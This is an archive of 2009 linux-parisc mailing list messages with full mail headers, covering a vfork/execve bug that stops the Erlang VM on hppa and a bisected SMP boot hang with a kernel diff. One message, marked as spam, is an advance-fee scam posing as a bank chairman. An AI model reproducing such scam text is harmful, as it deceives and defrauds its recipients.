> just different drivers accessing the same HW - preferably not at the
> same time and that's why the kernel stops using ttyB0 later.
> 
> That make more sense?

Yes it does :-) Thanks!

Michal
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vincent Cheng <charlott-carter@sbcglobal.net>
Newsgroups: gmane.spam.detected,gmane.linux.ports.parisc
Subject: re
Date: Tue, 15 Dec 2009 06:17:04 -0800 (PST)
Lines: 7
Approved: news@gmane.org
Message-ID: <805807.79690.qm__13810.1198747338$1260886643$gmane$org@web82002.mail.mud.yahoo.com>
Reply-To: vincent.cheng_gm@yahoo.com.hk
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260886643 30550 80.91.229.12 (15 Dec 2009 14:17:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Dec 2009 14:17:23 +0000 (UTC)
To: undisclosed recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 15 15:17:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKYDB-0002tV-LP
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Dec 2009 15:17:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760346AbZLOORM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 09:17:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760357AbZLOORL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 09:17:11 -0500
Original-Received: from web82002.mail.mud.yahoo.com ([66.163.178.246]:28363 "HELO
	web82002.mail.mud.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1760345AbZLOORJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 09:17:09 -0500
Original-Received: (qmail 80192 invoked by uid 60001); 15 Dec 2009 14:17:04 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=sbcglobal.net; s=s1024; t=1260886624; bh=cU1jD/jVhxpOVQ8YGeJUYvub4poKxHaESa9c4x8QT9s=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=bGxTOJNONx+SYCkyHFq7C5x+IrNnRHZyVFP2bvlJj3xNbxkbLsOxfs5G+XSh2j5e/m4fqYevMJyxPesiqOpGLVoZXsILAgQAjzHi5785KnbAA91UectFFk9N7Gaayne5HMxsnOqBSMkNlXolHmnw+3MvvnPN57VbQEaIWqjkvBE=
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=sbcglobal.net;
  h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type;
  b=VIOWGnII6C6O0SdZAe6umnb5q7h6fgzTj/P/CjQ1qTWXcCyNiaZa6h5TlQ/8Wz57icf2NgoXrHQgoEjyRV4TKkUUMK/xCRD0qHh7MuNSf680cuIG7t6asUTGZqBhgPWRJvkD7cWD35KY5XDPfLcI4kO7QuZDVQ86Z4+FK5LungU=;
X-YMail-OSG: sWEEFgoVM1kbU_k4AtU_J9faQc2Ox157sTnFXZ5gDy8K6KYnGhkxy0iashMXJ6rDVhByIRflE041E7vFjtYYlv9kQe4EDSwTBIdqDee5_zOe4sCzqxOsFQIuaXoXtl3NWpM_LUVbB1VOOB4I9U7mHSFc0Tirjdxx9.rRSdLQnl2uQ4ZEscqvnoizrDqqyn.MNGjIJPYSTGoV501xPNoxuHFT.cQmVvXRhbnn5ZHQpnyWF9ABXKRkNnCSjuACqKPtu3uQYq48NjrnS9f_EM5OPl0Q1oveu_8FsZ4SGL8oppVkRW21QUOFHvY9oUtZ5n.Q32ydcy6xf3T6Nm3oe6LOo6IyQSYyRaKozsKE4vCo36ExzgEMcE_R1qwKpBC4RqFJVpdZC_VBL6.Rn5pMKx8VFaq_OnFp4Xgh7aS9QaaS3WniSPQhD2PIJNrsjxrM95QD3gAsmt7IhTphRPn1NwT6APcyke9D_I6XLkgrkbcw1B0cyONLE5koX_BO_wTeA1A4bgyFoycyjpSzJ4tLuiyTK2mZchyRQLEZaypnL4LvF62rWsgUrQTMCtT.Yokxv7Ajyrondv8LX2MPHQFDOzpW3SkB.veebl18.4kkNqpprQCR55y4fxg-
Original-Received: from [217.21.79.212] by web82002.mail.mud.yahoo.com via HTTP; Tue, 15 Dec 2009 06:17:04 PST
X-Mailer: YahooMailClassic/9.0.19 YahooMailWebService/0.8.100.260964
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 7.0 points;
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?217.21.79.212>]
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [217.21.79.212 listed in sbl-xbl.spamhaus.org]
Xref: news.gmane.org gmane.spam.detected:4507261 gmane.linux.ports.parisc:2421
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2421>


Am Vincent Cheng Chairman of the Hong Kong and Shanghai Bank I have a confidential brief and I ask for your partnership. Please get back to me for more info.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Erlang VM immediately exits on hppa: execve() fails
Date: Tue, 15 Dec 2009 11:11:27 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440912150811x3527dfa1g6e260c0822ab9c02@mail.gmail.com>
References: <f60b7eb60912142352i4b97caafg7a53b24aea12befd@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1260893509 26054 80.91.229.12 (15 Dec 2009 16:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Dec 2009 16:11:49 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
To: Sergei Golovan <sgolovan@nes.ru>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 15 17:11:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKZzp-0005me-Nt
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Dec 2009 17:11:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759340AbZLOQLd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 11:11:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759374AbZLOQLd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 11:11:33 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:64521 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759340AbZLOQLc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 11:11:32 -0500
Original-Received: by bwz27 with SMTP id 27so21352bwz.21
        for <linux-parisc@vger.kernel.org>; Tue, 15 Dec 2009 08:11:27 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=bkAWDyB3UDu+miYNn1yH9MoGDduQhGd/5HsEZBEBgDo=;
        b=qMnziOjSnEE0IIJEwBMoHPLsGG6qyhizImWB01qxLZJ8LOZyTFqrsStWLgsw45alqL
         J5AFOgGI2OfQyvnLoQi4cEqBldZWMvpkaPwM8kpdWVESOn2RKzuKmyJF+isaX91zBG1Y
         2zKeo89Al8i4gWccGL7Wod+QCaDyFmpmB2iOQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=ImNUVV00rhQkoDPgzjUovo4PnQpTncJmDalT7pHtpQaMVdhgYygFTTKyWelxf4ObZu
         4E0IBNMvPQXE9oDVlNmFJaUsx19yG6ZqUK9fljedO4VgtF/vDKn0t7g7EwFYgz8JcxuD
         oZz/CTIAJNh4rGuKpAOxqweKmyfUQueBMzW+Y=
Original-Received: by 10.204.6.24 with SMTP id 24mr3882522bkx.25.1260893487078; Tue, 15 
	Dec 2009 08:11:27 -0800 (PST)
In-Reply-To: <f60b7eb60912142352i4b97caafg7a53b24aea12befd@mail.gmail.com>
X-Google-Sender-Auth: 97974e1be0225dc7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2422 gmane.linux.debian.ports.hppa:6214
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2422>

On Tue, Dec 15, 2009 at 2:52 AM, Sergei Golovan <sgolovan@nes.ru> wrote:
> After the recent changes in hppa architecture Erlang virtual machine
> fails to start (which leads to several FTBFS bugs in particular:
> #559628, #559962, #559004).
>
> The problem is that after vfork(), execve() fails to start a child
> process. It sets errno to EMFILE. If I run erl under strace, it works
> fine. Is it a bug in glibc, or in Erlang itself?
>
> I'm giving a small excerpt from erts/emulator/sys/unix/sys.c file
> where the failed execve(), the rest could be found in erlang
> 12.b.2.1-1 sources.

Are you certain that execve() fails to start a child process?

While debugging emacs32 failures I discovered that execve() works, but
that the parent which called the vfork() is corrupted by the child.

I posted a test case for our kernel developers to look at here:
http://article.gmane.org/gmane.linux.ports.parisc/2403

We haven't been able to determine the cause of the failure yet.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sergei Golovan <sgolovan@nes.ru>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Erlang VM immediately exits on hppa: execve() fails
Date: Tue, 15 Dec 2009 22:24:24 +0300
Lines: 38
Approved: news@gmane.org
Message-ID: <f60b7eb60912151124u255498ffob9cb422cc730268f@mail.gmail.com>
References: <f60b7eb60912142352i4b97caafg7a53b24aea12befd@mail.gmail.com>
	 <119aab440912150811x3527dfa1g6e260c0822ab9c02@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1260905078 4876 80.91.229.12 (15 Dec 2009 19:24:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Dec 2009 19:24:38 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca
To: carlos@systemhalted.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 15 20:24:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKd0W-0002xH-QB
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Dec 2009 20:24:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933371AbZLOTY1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 14:24:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933417AbZLOTY1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 14:24:27 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:65239 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933354AbZLOTY0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 14:24:26 -0500
Original-Received: by ewy19 with SMTP id 19so207197ewy.21
        for <linux-parisc@vger.kernel.org>; Tue, 15 Dec 2009 11:24:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=fu7/MKV6AmF9uqV/aGgQ1doeWwarFWrF9zac1bAIMQ4=;
        b=JjvIML03rGvTMbgHCsQ31gILfRXxpbzHSSUn2dMaYX/1/rtu+TxiznHCEziQjEUJBm
         KUAKb7NxqRvlBX+279r5cKyirZADwP/zWvDcezSZ8yoozxK9HVAx0Mtcp9WzWtsB6bOL
         5dREkRPAl+QSqPV9DuvCr6o69u9clwxRF6hjo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=RCMUoXffHHB1YIclgFqFCc3nZbpvxWsjB4ZHFmI+YbwfxLeja8jg2DXc2G+tyLu1la
         lOlukAxhzQczXtXArIAN7s2T0tUIcQNd86ZFPaK93uegiPQzQMKiHlxfrkRxOOtTKX6s
         mNeZs2R6rasl3GM2w4JJAm+ylhBsEozu6/zTQ=
Original-Received: by 10.216.87.6 with SMTP id x6mr2651456wee.174.1260905064642; Tue, 
	15 Dec 2009 11:24:24 -0800 (PST)
In-Reply-To: <119aab440912150811x3527dfa1g6e260c0822ab9c02@mail.gmail.com>
X-Google-Sender-Auth: 722a3b9ae4c7da1f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2423 gmane.linux.debian.ports.hppa:6215
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2423>

On Tue, Dec 15, 2009 at 7:11 PM,  <carlos@systemhalted.org> wrote:
> On Tue, Dec 15, 2009 at 2:52 AM, Sergei Golovan <sgolovan@nes.ru> wrote:
>> After the recent changes in hppa architecture Erlang virtual machine
>> fails to start (which leads to several FTBFS bugs in particular:
>> #559628, #559962, #559004).
>>
>> The problem is that after vfork(), execve() fails to start a child
>> process. It sets errno to EMFILE. If I run erl under strace, it works
>> fine. Is it a bug in glibc, or in Erlang itself?
>>
>> I'm giving a small excerpt from erts/emulator/sys/unix/sys.c file
>> where the failed execve(), the rest could be found in erlang
>> 12.b.2.1-1 sources.
>
> Are you certain that execve() fails to start a child process?

Yes, after I've inserted some debug printf() right after execve() it
was reached.

>
> While debugging emacs32 failures I discovered that execve() works, but
> that the parent which called the vfork() is corrupted by the child.

But you're right, parent process becomes seems to be corrupt after
vfork(). (At least test printf() doesn't print anything.

> We haven't been able to determine the cause of the failure yet.

OK, I see.

Cheers!
-- 
Sergei Golovan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: my usual problem with 64bit kernel
Date: Tue, 15 Dec 2009 21:25:47 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <20091215202547.GA18193@raptus.dandreoli.com>
References: <20091204172838.GA4551@raptus.dandreoli.com>
 <4B1959E2.1030700@gmx.de>
 <20091205083511.GA6559@raptus.dandreoli.com>
 <20091207234404.GA5083@raptus.dandreoli.com>
 <20091209235038.GA12806@raptus.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260908777 18481 80.91.229.12 (15 Dec 2009 20:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Dec 2009 20:26:17 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 15 21:26:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKdy5-0006e5-DV
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Dec 2009 21:26:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933012AbZLOU0B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 15:26:01 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761075AbZLOU0A
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 15:26:00 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:50423 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755429AbZLOUZ7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 15:25:59 -0500
Original-Received: by ewy19 with SMTP id 19so268299ewy.21
        for <linux-parisc@vger.kernel.org>; Tue, 15 Dec 2009 12:25:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:subject
         :message-id:mail-followup-to:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=qLoIf/GFQFR3YpCqi9SpMp8wSQwUskDZCQ9zmuibdUI=;
        b=h0l+RT7N6No+zmJmdckznezfoxeRNkVi8zPCYQZ8TgtXiLE8BvvJOwL9QTFJCAwKpg
         6r52Z7qE1d3H0KD55ly9f/SCogN3ZeOYvu/AoucquqGiIdcbeX75VImSsKRQ62QpPG+k
         Dp18PiFnO8t7y1OuOsNWRCw/lt646rUIOTSn4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mail-followup-to:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        b=METPafeklLnlbXQdPI9SHM3SylsIOV/h7bWKz6FUDbAqXQEhzJpal9zlwc9YM/UrQd
         aDT+kwQOwPqYWCnOLmR7h5axIhJR3kcE7f2bQQ1FJ9Ip01nJGgGdlxxQbIB6ffj4VGLk
         d/RKmXrsNrjnpjsOFivjVv1iHO89P36e5o2K0=
Original-Received: by 10.216.90.1 with SMTP id d1mr5217wef.136.1260908757633;
        Tue, 15 Dec 2009 12:25:57 -0800 (PST)
Original-Received: from raptus.dandreoli.com (host158-49-dynamic.45-79-r.retail.telecomitalia.it [79.45.49.158])
        by mx.google.com with ESMTPS id u14sm703341gvf.4.2009.12.15.12.25.55
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 15 Dec 2009 12:25:55 -0800 (PST)
Original-Received: by raptus.dandreoli.com (Postfix, from userid 1000)
	id DF3A11A4FC; Tue, 15 Dec 2009 21:25:47 +0100 (CET)
Mail-Followup-To: linux-parisc@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <20091209235038.GA12806@raptus.dandreoli.com>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2424
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2424>

On Thu, Dec 10, 2009 at 12:50:38AM +0100, Domenico Andreoli wrote:
> On Tue, Dec 08, 2009 at 12:44:04AM +0100, Domenico Andreoli wrote:
> > On Sat, Dec 05, 2009 at 09:35:11AM +0100, Domenico Andreoli wrote:
> > > On Fri, Dec 04, 2009 at 07:50:10PM +0100, Helge Deller wrote:
> > > 
> > > > I just want to make sure, that you have more or less a correct kernel
> > > > configuration setup (.config)....
> > > 
> > > there is at least a configuration glitch which makes my kernel hang
> > > and the debian one continue in degraded mode. i attached also the
> > > configuration, just in case i forgot something important.
> > 
> > i found the configuration glitch, it is CONFIG_DEBUG_MUTEXES. if it is
> > set, 64bit hangs right after "Releasing cpu 1 now, hpa=...", otherwise
> > the 64bit boot continues with a "SMP: CPU:1 is stuck."
> 
> i was wrong, it's again CONFIG_DEBUG_SPINLOCK. if it is set, the
> boot hangs.

i bisected something, commit 44048d700bcbfaf4bcca6e2e0a73d89d01ec0878
breaks my SMP parisc64. before it, kernel boots with 2 CPUs
(as did 2.6.22). after it, it hangs at "Releasing cpu 1 now,
hpa=fffffffffffa2000" but CONFIG_DEBUG_SPINLOCK is _not_ set, the
opposite i reported in this thread at 64bit and consistently with
current 2.6.32 at 32bit.

i'm pretty confused by the whole thing but i'm sure about this bisection,
i double-checked it. here is the diff.

--- a/mm/page_alloc.c
+++ b/mm/page_alloc.c
@@ -749,23 +749,6 @@ int move_freepages_block(struct zone *zone, struct page *page, int migratetype)
        return move_freepages(zone, start_page, end_page, migratetype);
 }
 
-/* Return the page with the lowest PFN in the list */
-static struct page *min_page(struct list_head *list)
-{
-       unsigned long min_pfn = -1UL;
-       struct page *min_page = NULL, *page;;
-
-       list_for_each_entry(page, list, lru) {
-               unsigned long pfn = page_to_pfn(page);
-               if (pfn < min_pfn) {
-                       min_pfn = pfn;
-                       min_page = page;
-               }
-       }
-
-       return min_page;
-}

From - Thu Nov 08 21:05:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Erlang VM immediately exits on hppa: execve() fails
Date: Tue, 15 Dec 2009 16:49:07 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <119aab440912151349n130fa7a4w49acf3be253d3cde@mail.gmail.com>
References: <f60b7eb60912142352i4b97caafg7a53b24aea12befd@mail.gmail.com>
	 <119aab440912150811x3527dfa1g6e260c0822ab9c02@mail.gmail.com>
	 <f60b7eb60912151124u255498ffob9cb422cc730268f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1260913761 4866 80.91.229.12 (15 Dec 2009 21:49:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Dec 2009 21:49:21 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca
To: Sergei Golovan <sgolovan@nes.ru>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 15 22:49:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKfGb-0004GT-WA
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Dec 2009 22:49:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933757AbZLOVtO convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 16:49:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933761AbZLOVtN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 16:49:13 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:57954 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933758AbZLOVtL convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 16:49:11 -0500
Original-Received: by bwz27 with SMTP id 27so318972bwz.21
        for <linux-parisc@vger.kernel.org>; Tue, 15 Dec 2009 13:49:07 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=Jg9Fh274Xx650E75JO2+hQI5gxYd7P6MQN5pIwkZ850=;
        b=rPqLgoeL3C5BM2BC0kOUrxv4Ag+BZpw2RDF5eN01S0EafsUoObCJ43XQuGVppyu0gr
         u0dC6pm5RFHaJEqD9BVPokPtuWczYxZnBuD0NTT7GE/d5SXDWq/ptUYTkafN8sAZR0qP
         rxEnpTUfICbiox6NFzRe+HUbAtwY/jcylMzlk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=RlyEqTXI2iVgpG86aBcUOsUGFIme6y+8KnQSUyoBlatfcNOX8FT1CNT9xMR9BUv67i
         cNiR8uZdoYlW8LIWB/+N2Bu+AekYHs6q4IdMUST692u92SuCuZH4adVC1chWFKT3Y5nO
         z2euy4oTCsjuQMiFWDBRrcHAAjzZUuyGJQLJs=
Original-Received: by 10.204.153.197 with SMTP id l5mr59093bkw.109.1260913747446; Tue, 
	15 Dec 2009 13:49:07 -0800 (PST)
In-Reply-To: <f60b7eb60912151124u255498ffob9cb422cc730268f@mail.gmail.com>
X-Google-Sender-Auth: c5b010003f21795e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2425 gmane.linux.debian.ports.hppa:6216
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2425>

On Tue, Dec 15, 2009 at 2:24 PM, Sergei Golovan <sgolovan@nes.ru> wrote=
:
> On Tue, Dec 15, 2009 at 7:11 PM, =A0<carlos@systemhalted.org> wrote:
>> On Tue, Dec 15, 2009 at 2:52 AM, Sergei Golovan <sgolovan@nes.ru> wr=
ote:
>>> After the recent changes in hppa architecture Erlang virtual machin=
e
>>> fails to start (which leads to several FTBFS bugs in particular:
>>> #559628, #559962, #559004).
>>>
>>> The problem is that after vfork(), execve() fails to start a child
>>> process. It sets errno to EMFILE. If I run erl under strace, it wor=
ks
>>> fine. Is it a bug in glibc, or in Erlang itself?
>>>
>>> I'm giving a small excerpt from erts/emulator/sys/unix/sys.c file
>>> where the failed execve(), the rest could be found in erlang
>>> 12.b.2.1-1 sources.
>>
>> Are you certain that execve() fails to start a child process?
>
> Yes, after I've inserted some debug printf() right after execve() it
> was reached.

Yes, you are definitely right, I hadn't thought to try that.

I will test an instrumented kernel tonight to see what the problem is.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Tue, 15 Dec 2009 17:21:17 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <20091215222119.E6CD84ED7@hiauly1.hia.nrc.ca>
References: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260915719 12284 80.91.229.12 (15 Dec 2009 22:21:59 GMT)
